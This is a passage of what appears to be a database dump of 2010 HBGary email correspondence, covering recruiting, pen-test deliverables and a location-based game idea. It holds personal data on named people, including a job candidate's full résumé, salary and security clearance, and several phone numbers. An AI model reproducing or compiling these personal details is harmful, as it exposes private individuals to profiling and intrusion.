tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',8436,'aaron_hbgary_com/8436.html'),(11178,'2010-09-01','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297008528.M670938P14101Q6033.eml','\"Aaron Barr\" <aaron@hbgary.com>','Windows engineer posting','Do you know dean lindstrom? He\'s based in ft Collins (CO) area and  \r\nknows a ton of people. He\'s full time on USDA but may know someone. I  \r\ncan introduce you if you like.\r\n\r\nSent from my mobile--excuse typos or brevity\r\n',10020,'aaron_hbgary_com/10020.html'),(11179,'2010-09-01','ted@hbgary.com','/aaron@hbgary.com/new/1297008528.M897207P14101Q6034.eml','aaron@hbgary.com','Pen Test Deliverables','\r\n\r\nI\'ve shared Pen Test Deliverables\r\nMessage from ted@hbgary.com:\r\n\r\nClick to open:\r\nPen Test Deliverables\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',14337,'aaron_hbgary_com/14337.html'),(11180,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008529.M140901P14101Q6035.eml','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','Re: Windows engineer posting','That would be great.\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 1, 2010, at 6:01 PM, \"Sullivan, Mary\"\r\n wrote:\r\n\r\n> Do you know dean lindstrom? He\'s based in ft Collins (CO) area and knows a ton of people. He\'s full time on USDA but may know someone. I can introduce you if you like.\r\n>\r\n> Sent from my mobile--excuse typos or brevity\r\n',13458,'aaron_hbgary_com/13458.html'),(11181,'2010-09-01','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297008529.M366194P14101Q6036.eml','\"Dean Lindstrom\" <deanl@cyberstrom.com>,\"Barr Aaron\" <aaron@hbgary.com>','introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDean,\r\n\r\nI wanted to introduce you to &nbsp;Aaron Barr, CEO of HB\r\nGary Federal, which is a separate company from HB Gary with a services-oriented\r\nsecurity focus.&nbsp; I know you have great contacts, and as Aaron staffs\r\nsecurity projects I thought you might be a great resource for people who&#8217;d\r\nbe perfect for the work.\r\n\r\n&nbsp;\r\n\r\nAaron, \r\n\r\nDean is a well &#8211;known and highly regarded security consultant\r\ncurrently working with the USDA ASOC project. I know from experience that he\r\nknows a ton of people and might be very helpful to you. \r\n\r\n&nbsp;\r\n\r\nNext time Dean&#8217;s in town, let&#8217;s all have a\r\ndrink? In the meantime, feel free to talk amongst yourselves.\r\n\r\n&nbsp;\r\n\r\nmary\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMary Sullivan | Federal Sales Manager | Fidelis Security\r\nSystems, Inc.\r\nD 240-396-2446 | M 301-980-1308 | mary.sullivan@fidelissecurity.com\r\n| www.fidelissecurity.com\r\n\r\n&nbsp;\r\n\r\nSee It | Study It | Stop It with Fidelis XPS:&nbsp; http://www.youtube.com/fidsecsys.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16764,'aaron_hbgary_com/16764.html'),(11182,'2010-09-01','ted@hbgary.com','/aaron@hbgary.com/new/1297008529.M585136P14101Q6037.eml','aaron@hbgary.com','Penetration Test Deliverables','\r\n\r\nI\'ve shared Penetration Test Deliverables\r\nMessage from ted@hbgary.com:\r\n\r\nClick to open:\r\nPenetration Test Deliverables\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',14271,'aaron_hbgary_com/14271.html'),(11183,'2010-09-01','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297008529.M874633P14101Q6038.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: WILLIS C. MCDONALD II','I\'m pretty slammed right now. &nbsp;I could maybe talk briefly.Sent from my iPhoneOn Sep 1, 2010, at 15:46, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Can you help me vet this guy? &nbsp;I have a few positions available on the classified side for REs that I can fill now.AaronBegin forwarded message:From: Ed Wallach &lt;ed@wallachsearch.com&gt;Date: September 1, 2010 1:16:22 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: WILLIS C. MCDONALD IIHi Aaron,here\'s a new recruit-lives in GA...will relo up here in 2 seconds...has an FSP!!CANDIDATE\'S NAME: &nbsp;WILLIS C. MCDONALD IICURRENTLY LIVES IN: &nbsp;GA			WILL RELOCATEGEOGRAPHIC PREFERENCES: &nbsp;DC/MD/VA&nbsp;		He is open to hear about outstanding opportunities elsewhere.LOOKING FOR WORK BECAUSE: &nbsp;The contract he is working on is over in 2 WEEKS.&nbsp;CURRENT SALARY: &nbsp;$78,000 &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;CLEARANCES: &nbsp;TS/SCI with a FULLSCOPE POLY (8-2008)EDUCATION AND TRAINING:2006 - 2008 B.S. Information TechnologySouthern Polytechnic State University, Marietta GA2002 - 2005 Electrical and Computer EngineeringUniversity of New Orleans, New Orleans LA2010 FOR558 Network ForensicsSANSfire &nbsp;Baltimore MDSUMMARY OF QUALIFICATIONS:Over 14 years experience including information security, network administration and live forensic analysis of information systems. &nbsp;Willis has a strong understanding of various commercial security products and systems including&nbsp;applications, capabilities, and limitations. &nbsp;He also have extensive professional experience in network planning, implementation and operations.&nbsp;PROFESSIONAL EXPERIENCE:2008 - PresentGlobal Network Exploitation and Vulnerability AnalystNational Security Agency, Fort Gordon GAResponsibilities included: &nbsp;Performing interactive operations, live forensic analysis of remote computer systems and networks, and situational health and security posture analysis of the endpoint environment. &nbsp;Security posture analysis included identifying vulnerabilities and security products on systems along with malware identification and analysis for possible capabilities and interference with proprietary tools. &nbsp;Attended a six month rigorous training course in forensics, software development, reverse engineering and information security.&nbsp;2006 - 2008 &nbsp;Network AdministratorThe Community Bank, Loganville GADuties included but were not limited to:Responsible for ensuring overall health and security of bank information systems. &nbsp;Auditing IDS and firewall systems, ground up planning and implementation of branch systems, user administration, backup administration, database administration and development of web based front ends for existing&nbsp;applications and a ground up re-work of the existing web site to include a CMS for ease of future maintenance. &nbsp;Also, implemented Nagios event monitoring for all servers and security devices.2006 - 2006&nbsp;Senior TechnicianPifusion Development Group, Tucker GAPerformed repairs and sales of computer hardware, software and network equipment both in-house and on-site. &nbsp;Repair duties included: general hardware/software troubleshooting and replacement and virus and malware remediation. &nbsp;Implemented and designed network systems for new and existing locations. &nbsp;Also assessed off-lease equipment for recycling and valuation for sale.2002 - 2006 &nbsp;Supervisor TraineeMcDonald Enterprises, Slidell LAAdministered and maintained environmental remediation systems for three hazardous waste remediation sites. &nbsp;Duties included SCADA and PLC systems administration, company information systems administration and general maintenance and repair of industrial wastewater treatment systems.1998 - 2002&nbsp;Assistant AdministratorFirearms Training Systems, Suwanee GAAdministered a mixed environment network for a computer based firearms training systems manufacturer for military and law enforcement agencies. &nbsp;Administration duties included backup administration, general user administration, PBX administration and database administration and maintenance. &nbsp;Also repaired and built desktop systems for end users. &nbsp;Also monitored web systems for misuse and anomalies.1995 - 1996IT SpecialistMFP/King Computer, Norcross GAResponsible for assessment and remediation of off-lease IBM PCs. &nbsp;Remediation included loading and configuring systems to customer specifications. &nbsp;Implemented network based loading system to improve productivity over using legacy floppy based loading. &nbsp;~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence &lt;app_full_proxy.php.gif&gt;',14551,'aaron_hbgary_com/14551.html'),(11184,'2010-09-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008530.M149482P14101Q6039.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: WILLIS C. MCDONALD II','Sure.  I can make it real brief if you can.  Just a few questions to see if this guy has real RE/forensic skills.Do you need help or is it not that type of slammed?\r\nAaronSent from my iPhoneOn Sep 1, 2010, at 6:47 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nI&#39;m pretty slammed right now.  I could maybe talk briefly.Sent from my iPhoneOn Sep 1, 2010, at 15:46, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nCan you help me vet this guy?  I have a few positions available on the classified side for REs that I can fill now.Aaron\r\nBegin forwarded message:From: Ed Wallach &lt;ed@wallachsearch.com&gt;\r\nDate: September 1, 2010 1:16:22 PM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: WILLIS C. MCDONALD II\r\nHi Aaron,here&#39;s a new recruit-lives in GA...will relo up here in 2 seconds...has an FSP!!\r\nCANDIDATE&#39;S NAME:  WILLIS C. MCDONALD IICURRENTLY LIVES IN:  GA			WILL RELOCATEGEOGRAPHIC PREFERENCES:  DC/MD/VA 		He is open to hear about outstanding opportunities elsewhere.\r\nLOOKING FOR WORK BECAUSE:  The contract he is working on is over in 2 WEEKS. CURRENT SALARY:  $78,000         CLEARANCES:  TS/SCI with a FULLSCOPE POLY (8-2008)EDUCATION AND TRAINING:2006 - 2008 B.S. Information Technology\r\nSouthern Polytechnic State University, Marietta GA2002 - 2005 Electrical and Computer EngineeringUniversity of New Orleans, New Orleans LA2010 FOR558 Network ForensicsSANSfire  Baltimore MD\r\nSUMMARY OF QUALIFICATIONS:Over 14 years experience including information security, network administration and live forensic analysis of information systems.  Willis has a strong understanding of various commercial security products and systems including applications, capabilities, and limitations.  He also have extensive professional experience in network planning, implementation and operations. \r\nPROFESSIONAL EXPERIENCE:2008 - PresentGlobal Network Exploitation and Vulnerability AnalystNational Security Agency, Fort Gordon GAResponsibilities included:  Performing interactive operations, live forensic analysis of remote computer systems and networks, and situational health and security posture analysis of the endpoint environment.  \r\nSecurity posture analysis included identifying vulnerabilities and security products on systems along with malware identification and analysis for possible capabilities and interference with proprietary tools.  Attended a six month rigorous training course in forensics, software development, reverse engineering and information security. \r\n2006 - 2008  Network AdministratorThe Community Bank, Loganville GADuties included but were not limited to:Responsible for ensuring overall health and security of bank information systems.  \r\nAuditing IDS and firewall systems, ground up planning and implementation of branch systems, user administration, backup administration, database administration and development of web based front ends for existing applications and a ground up re-work of the existing web site to include a CMS for ease of future maintenance.  \r\nAlso, implemented Nagios event monitoring for all servers and security devices.2006 - 2006 Senior TechnicianPifusion Development Group, Tucker GAPerformed repairs and sales of computer hardware, software and network equipment both in-house and on-site.  \r\nRepair duties included: general hardware/software troubleshooting and replacement and virus and malware remediation.  Implemented and designed network systems for new and existing locations.  Also assessed off-lease equipment for recycling and valuation for sale.\r\n2002 - 2006  Supervisor TraineeMcDonald Enterprises, Slidell LAAdministered and maintained environmental remediation systems for three hazardous waste remediation sites.  Duties included SCADA and PLC systems administration, company information systems administration and general maintenance and repair of industrial wastewater treatment systems.\r\n1998 - 2002 Assistant AdministratorFirearms Training Systems, Suwanee GAAdministered a mixed environment network for a computer based firearms training systems manufacturer for military and law enforcement agencies.  \r\nAdministration duties included backup administration, general user administration, PBX administration and database administration and maintenance.  Also repaired and built desktop systems for end users.  Also monitored web systems for misuse and anomalies.\r\n1995 - 1996IT SpecialistMFP/King Computer, Norcross GAResponsible for assessment and remediation of off-lease IBM PCs.  Remediation included loading and configuring systems to customer specifications.  \r\nImplemented network based loading system to improve productivity over using legacy floppy based loading.  \r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach \r\nPresident &amp; CEO\r\nEd Wallach Search Group \r\n301-365-3291 office  \r\n301-613-0629 mobile\r\n301-365-3292 fax ed@wallachsearch.com\r\nwww.wallachsearch.com\r\nRecruiting Intelligence \r\n\r\n&lt;app_full_proxy.php.gif&gt;\r\n\r\n',1481,'aaron_hbgary_com/1481.html'),(11185,'2010-09-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008530.M354228P14101Q6040.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Three different application verticals','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg and Aaron,\r\n\r\n&nbsp;\r\n\r\nAaron said there are already established companies selling MMO\r\ngame platforms where customers can put their own game skins on it.&nbsp; Is\r\nthis true?&nbsp; If this generic MMO void existed it could have a been a lower\r\nrisk business to be in.&nbsp; Then with that money we could have funded the\r\nhigher risk game development.\r\n\r\n&nbsp;\r\n\r\nSeems that online games fall into the entertainment and gaming\r\nmarkets which are hit and miss.&nbsp; Millions can be spent on movies or games\r\nthat are a bust.&nbsp; Thousands of board games are invented every year but\r\nonly a few ever succeed.\r\n\r\n&nbsp;\r\n\r\nCertainly, there will be lots of innovation in online games and\r\nsocial networking as these industries are probably still in their infancies. &nbsp;How\r\ndo we pick an approach that wins?&nbsp; (ie, makes money?)\r\n\r\n&nbsp;\r\n\r\nOK, we are talking about combining 3 elements &#8211; online gaming,\r\nsocial networking and the location element.&nbsp; Let&#8217;s supposed this is\r\ntruly innovative.&nbsp; We can think of ways to overlay virtual and real\r\nworlds.&nbsp; An example was to have people playing the virtual game being\r\nrequired to visit or interact with the real world (e.g., a retail\r\nestablishment) to gain status or move to new levels in the game.\r\n\r\n&nbsp;\r\n\r\nIt appears that we will still have to create a game that people\r\n(consumers) will need to play, possibly even pay money to play, for the concept\r\nto work.&nbsp; Then we would approach retail establishments to get them to\r\nparticipate to drive traffic to their stores.&nbsp; I understand the selling to\r\nbusinesses with a value proposition.&nbsp; But how to we create a game that is\r\nfun enough, cool enough, fashionable enough that people will play?&nbsp; How\r\nmuch of game success is skill and how much is tied to luck and the whims of\r\nwhat is in style?\r\n\r\n&nbsp;\r\n\r\nIn the final analysis, we are going to ask people to bet money\r\nthat we will develop and successful market a game.&nbsp; Those people might be\r\nus or our friends. &nbsp;How do we maximize the probability of success and\r\nminimize risk?\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Tuesday, August 31, 2010 12:35 PM\r\nTo: Bob Slapnik\r\nSubject: Three different application verticals\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n\r\n\r\n\r\n\r\nHere are three different application verticals that we could\r\ntemplate on the platform.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMMO Game: a large scale shared environment with rules of\r\ncompetitive interaction and social status, with a retail tie-in that effects\r\nsocial status, and skinned with a storyworld in some marketable genre\r\n(military, fantasy, sci-fi, mafia, casual, hardcore,&nbsp;etc)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTraining: same as the MMO Game, but rules of interaction are\r\naltered to reflect training objectives, competition can still be a\r\ncomponent,&nbsp;large scale training exercises possible (military exercises,\r\ndisaster relief exercises, CDC virus outbreak response exercises, domestic\r\nterrorism response, FEMA protocols, etc)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVirtual Conference/Meeting Place: a large scale virtual\r\nevent, potentially covering multiple days, where participants exist in a shared\r\nvirtual space, can attend virtual&nbsp;presentations, and can attend virtual\r\ntrainings.&nbsp; A virtual vendor floor can offer product demo\'s, etc.&nbsp; A\r\nchurch could use this to have virtual worship services.&nbsp; Companies could\r\nuse this to host meetings.&nbsp;&nbsp;Many possibilities here.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3095 - Release Date: 08/31/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16272,'aaron_hbgary_com/16272.html'),(11186,'2010-09-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008531.M75807P14101Q6041.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Draft?','---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Wed, Sep 1, 2010 at 6:27 PM\r\nSubject: Re: Draft?\r\nTo: \"Taylor, David A\" \r\nCc: Jerry McClure \r\n\r\n\r\nHello David,\r\n\r\nPer our contract we have the following three deliverables:\r\n\r\n1:  Written review of the proposed solution with suggestions for improvements\r\n2:  Red Team Review\r\n3:  Final report with recommendations and analysis of the potential\r\nvulnerabilities\r\n\r\nAdditionally, Jim asked that we document our Day 5 activities in a\r\nseparate report and requested we send this report directly to him.\r\n\r\nMark and I are still finishing up Deliverables 2 & 3 (I\'ll send as\r\nsoon as we\'re done).  Attached are drafts of Deliverable 1 and Jim\'s\r\nDay 5 Report.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n\r\nOn Wed, Sep 1, 2010 at 5:31 PM, Taylor, David A  wrote:\r\n> Looking for that draft.\r\n>\r\n>\r\n>\r\n> Thanks.\r\n>\r\n>\r\n>\r\n> dat\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',830,'aaron_hbgary_com/830.html'),(11187,'2010-09-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008531.M810709P14101Q6042.eml','\"Barr Aaron\" <aaron@hbgary.com>','Draft','Deliverable 2 & 3\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',5509,'aaron_hbgary_com/5509.html'),(11188,'2010-09-02','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297008532.M302932P14101Q6044.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: WILLIS C. MCDONALD II','I do need help but I think we&#39;ll get through it.  I have Matt fully engaged now on cleaning up Spohn&#39;s engagements.  On Wed, Sep 1, 2010 at 6:53 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSure.  I can make it real brief if you can.  Just a few questions to see if this guy has real RE/forensic skills.\r\nDo you need help or is it not that type of slammed?\r\nAaronSent from my iPhoneOn Sep 1, 2010, at 6:47 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\nI&#39;m pretty slammed right now.  I could maybe talk briefly.Sent from my iPhoneOn Sep 1, 2010, at 15:46, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nCan you help me vet this guy?  I have a few positions available on the classified side for REs that I can fill now.Aaron\r\n\r\nBegin forwarded message:From: Ed Wallach &lt;ed@wallachsearch.com&gt;\r\n\r\nDate: September 1, 2010 1:16:22 PM EDT\r\n\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nSubject: WILLIS C. MCDONALD II\r\n\r\nHi Aaron,here&#39;s a new recruit-lives in GA...will relo up here in 2 seconds...has an FSP!!\r\nCANDIDATE&#39;S NAME:  WILLIS C. MCDONALD IICURRENTLY LIVES IN:  GA			WILL RELOCATEGEOGRAPHIC PREFERENCES:  DC/MD/VA 		He is open to hear about outstanding opportunities elsewhere.\r\n\r\nLOOKING FOR WORK BECAUSE:  The contract he is working on is over in 2 WEEKS. CURRENT SALARY:  $78,000         CLEARANCES:  TS/SCI with a FULLSCOPE POLY (8-2008)EDUCATION AND TRAINING:2006 - 2008 B.S. Information Technology\r\n\r\nSouthern Polytechnic State University, Marietta GA2002 - 2005 Electrical and Computer EngineeringUniversity of New Orleans, New Orleans LA2010 FOR558 Network ForensicsSANSfire  Baltimore MD\r\n\r\nSUMMARY OF QUALIFICATIONS:Over 14 years experience including information security, network administration and live forensic analysis of information systems.  Willis has a strong understanding of various commercial security products and systems including applications, capabilities, and limitations.  He also have extensive professional experience in network planning, implementation and operations. \r\n\r\nPROFESSIONAL EXPERIENCE:2008 - PresentGlobal Network Exploitation and Vulnerability AnalystNational Security Agency, Fort Gordon GAResponsibilities included:  Performing interactive operations, live forensic analysis of remote computer systems and networks, and situational health and security posture analysis of the endpoint environment.  \r\n\r\nSecurity posture analysis included identifying vulnerabilities and security products on systems along with malware identification and analysis for possible capabilities and interference with proprietary tools.  Attended a six month rigorous training course in forensics, software development, reverse engineering and information security. \r\n\r\n2006 - 2008  Network AdministratorThe Community Bank, Loganville GADuties included but were not limited to:Responsible for ensuring overall health and security of bank information systems.  \r\n\r\nAuditing IDS and firewall systems, ground up planning and implementation of branch systems, user administration, backup administration, database administration and development of web based front ends for existing applications and a ground up re-work of the existing web site to include a CMS for ease of future maintenance.  \r\n\r\nAlso, implemented Nagios event monitoring for all servers and security devices.2006 - 2006 Senior TechnicianPifusion Development Group, Tucker GAPerformed repairs and sales of computer hardware, software and network equipment both in-house and on-site.  \r\n\r\nRepair duties included: general hardware/software troubleshooting and replacement and virus and malware remediation.  Implemented and designed network systems for new and existing locations.  Also assessed off-lease equipment for recycling and valuation for sale.\r\n\r\n2002 - 2006  Supervisor TraineeMcDonald Enterprises, Slidell LAAdministered and maintained environmental remediation systems for three hazardous waste remediation sites.  Duties included SCADA and PLC systems administration, company information systems administration and general maintenance and repair of industrial wastewater treatment systems.\r\n\r\n1998 - 2002 Assistant AdministratorFirearms Training Systems, Suwanee GAAdministered a mixed environment network for a computer based firearms training systems manufacturer for military and law enforcement agencies.  \r\n\r\nAdministration duties included backup administration, general user administration, PBX administration and database administration and maintenance.  Also repaired and built desktop systems for end users.  Also monitored web systems for misuse and anomalies.\r\n\r\n1995 - 1996IT SpecialistMFP/King Computer, Norcross GAResponsible for assessment and remediation of off-lease IBM PCs.  Remediation included loading and configuring systems to customer specifications.  \r\n\r\nImplemented network based loading system to improve productivity over using legacy floppy based loading.  \r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach \r\n\r\nPresident &amp; CEO\r\n\r\nEd Wallach Search Group \r\n\r\n301-365-3291 office  \r\n\r\n301-613-0629 mobile\r\n\r\n301-365-3292 fax ed@wallachsearch.com\r\n\r\nwww.wallachsearch.com\r\n\r\nRecruiting Intelligence \r\n\r\n\r\n\r\n&lt;app_full_proxy.php.gif&gt;\r\n\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',13330,'aaron_hbgary_com/13330.html'),(11189,'2010-09-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008532.M505238P14101Q6045.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','MyBlock','Convergence of Location based services, your social network, and the virtual gaming world.\r\n\r\nSocial Network comes from Facebook Connect API to pull in your friends list (this is what Zynga and all the other games use).\r\nLocation Based Services comes from Facebook Places API.  Each of the retailers or locations has a page in facebook and they can link their page to our game.\r\nThere is a status and management page in Facebook for MyBlock that allows you to see the stats of your Block and your Neighbors with their own Blocks.  Your Block and that of your Residence comprise a city.  You compete against other cities through challenges, points, status, etc.\r\n\r\nWhen you physically check in to a near-world place you can get a pseudo-random drop that you can use to decorate your block and give you buffs.  or other benefits in world.  When you check in X number of times or become the \"mayor\" you get a foundstone and that foundstone can then be used to create a building in world on your block.\r\n\r\nSome items can be donated to the city to build larger items that give the overall city bigger buffs or benefits, reach certain levels or status.\r\n\r\nIn world challenges:\r\nLeaderboards - whose got the most livable city.\r\nChallenges - This should have an in-world and near-world component.  Need so many checkins at a particular place in a certain time period.  A city can bury certain items in their city (near or in-world) and another city has to uncover the clues and find the \r\nConflct - You can encroach on another city both in world and near world.  You can spend money to hire thugs to go rough the place up, start up organized crime circuits.  You can steal mayorships to weaken the in-world town.  When this happens the city owners have to expend resources to take back physical territory and spend resources hiring police, combating the encroachment, etc.\r\n\r\nOK the game play definately needs some work but I think we have a basic idea to work with that is a good one.\r\n\r\nThoughts?\r\n\r\nAaron\r\n\r\nTo bobs question.  Where does the revenue come in.  There are items that you can purchase through the store to help in-world play.  You also get money through advertising from retailers.',11338,'aaron_hbgary_com/11338.html'),(11190,'2010-09-02','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297008532.M75282P14101Q6043.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 9/01/2010','\r\n\r\n  \r\n\r\n  \r\n    \r\n      LinkedIn Network Updates\r\n      Aug 25 - Sep 1\r\n    \r\n    \r\n      FEATURED UPDATES\r\n      See more updates &#187;\r\n    \r\n    \r\n      \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                   Michael Whitehorne has an updated profile (Education)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Dino Dai Zovi has an updated profile (Experience)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                    Brian Girardi has an updated current title: Vice President, Product Management at NetWitness Corp.\r\n                  Send note &#187;\r\n            \r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Scott Sheldon\r\nis now connected to\r\n            John King\r\n             and \r\n            David Reid\r\n             \r\n              \r\n            \r\n            \r\n              \r\n\r\n  Robert Frisbie\r\nis now connected to\r\n            Paul Napier\r\n,             Brandon Gressett\r\n,             David Willard\r\n,       and 3 other people.\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Toby Richardson\r\nis now connected to\r\n            Jill Putman, CPA, MBA\r\n,             Eric Col&#xf3;n\r\n             and \r\n            Glenn Cross\r\n             \r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    POSTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Schell\r\nYes, indeed, the most important.      \r\n      Add a comment\r\n      \r\n        \r\n        \r\n        \r\nFred Wilson Reveals The Fourth Essential For Startup CEOs         \r\n          The 